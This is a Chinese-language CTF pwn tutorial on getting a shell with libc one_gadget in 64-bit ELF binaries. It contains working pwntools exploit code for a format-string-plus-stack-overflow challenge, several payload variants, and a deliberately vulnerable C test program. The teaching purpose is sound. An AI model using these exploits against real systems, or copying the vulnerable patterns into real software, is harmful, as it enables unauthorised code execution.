64 位 elf 的 one_gadget 通杀思路
字数 1419 2025-08-24 20:49:22
64位ELF的one_gadget通杀思路详解
一、one_gadget基础概念
one_gadget是libc中可以直接执行execve("/bin/sh",...)的代码片段。相比传统ROP链,使用one_gadget可以简化利用过程,只需知道libc基址就能一步getshell。
1.1 one_gadget工具使用
使用one_gadget工具查找可用的gadget:
$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
1.2 常见约束条件
one_gadget通常有以下几种约束条件:
- 寄存器值约束(如
rax == NULL) - 栈空间约束(如
[rsp+0x30] == NULL) - 环境变量约束(如
environ指针有效)
二、突破栈限制条件的方法
2.1 大缓冲区填充法
当溢出字节数较大时,可以通过填充大量NULL值来满足栈约束条件。
示例代码:
payload = '\x00'*0x88 + p64(canary) + p64(0) + p64(one) + p64(0)*100
适用场景:
- 溢出字节数足够大
- 只能控制栈空间
- 约束条件是栈上的值(如
[rsp+0x30] == NULL)
2.2 栈迁移结合bss段
通过栈迁移技术将栈转移到bss段,实现精准控制。
关键步骤:
- 修改rbp为bss段地址
- 调用leave指令(
mov rsp, rbp; pop rbp) - 在bss段布置one_gadget
示例代码:
pay = (136-8)*'\x00' + p64(0x601080) + p64(0x400702) # 0x400702是leave; ret地址
p.send(pay)
p.recvuntil('ok\n')
payload = p64(one)*2
p.sendline(payload)
注意事项:
- 程序不能开启PIE,否则bss地址未知
- 需要能控制足够大的bss空间
三、处理寄存器约束条件
3.1 利用函数返回值
某些函数调用后会将rax置为0,可以利用这一点满足rax == NULL的约束。
示例场景:
.text:00000000004006F8 call _write
.text:00000000004006FD mov eax, 0 ; 将rax置0
.text:0000000000400702 leave
.text:0000000000400703 retn
3.2 万能gadget调整
利用__libc_csu_init中的万能gadget来调整寄存器状态。
典型gadget:
.text:0000000000400766 add rsp, 8
.text:000000000040076A pop rbx
.text:000000000040076B pop rbp
.text:000000000040076C pop r12
.text:000000000040076E pop r13
.text:0000000000400770 pop r14
.text:0000000000400772 pop r15
.text:0000000000400774 retn
利用方式:
pay = 136*'\x00' + p64(0x400766) + p64(0)*7 + p64(one)
优点:
- 可以灵活控制多个寄存器
- 适用于复杂约束条件
缺点:
- 需要较多溢出空间
- 不是所有程序都包含这类gadget
四、实际案例分析
4.1 西湖论剑story题目
漏洞利用步骤:
- 格式化字符串漏洞泄漏canary和libc地址
- 栈溢出覆盖返回地址为one_gadget
- 填充大量NULL满足栈约束
EXP示例:
from pwn import *
p = process('story')
libc = ELF('./libc-2.23.so')
# 泄漏canary和libc地址
p.sendline("%15$p%25$p")
p.recvuntil("0x")
canary = int(p.recvuntil("0x")[:-2],16)
addr_offset = int(p.recvuntil('\n')[:-1],16)
libc_base = addr_offset - libc.symbols['__libc_start_main']-240
one = libc_base+0x4526a
# 构造payload
p.recvuntil('story')
p.sendline('1024') # 设置足够大的story_len
p.recvuntil('story')
payload = '\x00'*0x88 + p64(canary) + p64(0) + p64(one) + p64(0)*100
p.sendline(payload)
p.interactive()
4.2 自定义测试程序
程序代码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char x[500]={0};
int main(int argc, char** argv) {
char buf[128];
char a[100];
scanf("%s",a);
printf(a);
printf("done\n");
read(0, buf, 256);
printf("ok\n");
read(0, x, 20);
write(1, "Hello, World\n", 13);
}
多种利用方式:
- 直接利用write后rax清零:
one = libc_base+0x45216
pay = 136*'\x00' + p64(one)
- 栈迁移到bss段:
one = libc_base+0xf1147
pay = (136-8)*'\x00' + p64(0x601080) + p64(0x400702) # leave; ret
p.send(pay)
p.recvuntil('ok\n')
payload = p64(one)*2
p.sendline(payload)
- 万能gadget调整:
one = libc_base+0xf02a4
pay = 136*'\x00' + p64(0x400766) + p64(0)*7 + p64(one)
五、高级技巧与注意事项
5.1 堆利用中的one_gadget
在堆漏洞利用中,当直接修改__malloc_hook为one_gadget不成功时,可以:
- 利用
__realloc_hook调整栈状态 - 通过realloc中的push/pop指令微调栈指针
5.2 通用原则
- 优先检查程序是否满足one_gadget的简单约束
- 不满足时考虑栈迁移或寄存器调整
- 实在无法满足条件时回退到传统ROP
- 注意不同libc版本的one_gadget偏移可能不同
5.3 调试技巧
- 在one_gadget处下断点,检查约束条件是否满足
- 观察崩溃时的寄存器状态和栈布局
- 尝试不同的one_gadget偏移
六、总结
one_gadget利用的核心在于满足其约束条件,主要思路包括:
- 直接填充满足栈约束
- 栈迁移到可控区域
- 利用函数调用调整寄存器状态
- 使用万能gadget主动设置寄存器
在实际漏洞利用中,应根据具体场景选择最合适的方案,当one_gadget不可用时,传统ROP仍是可靠的备选方案。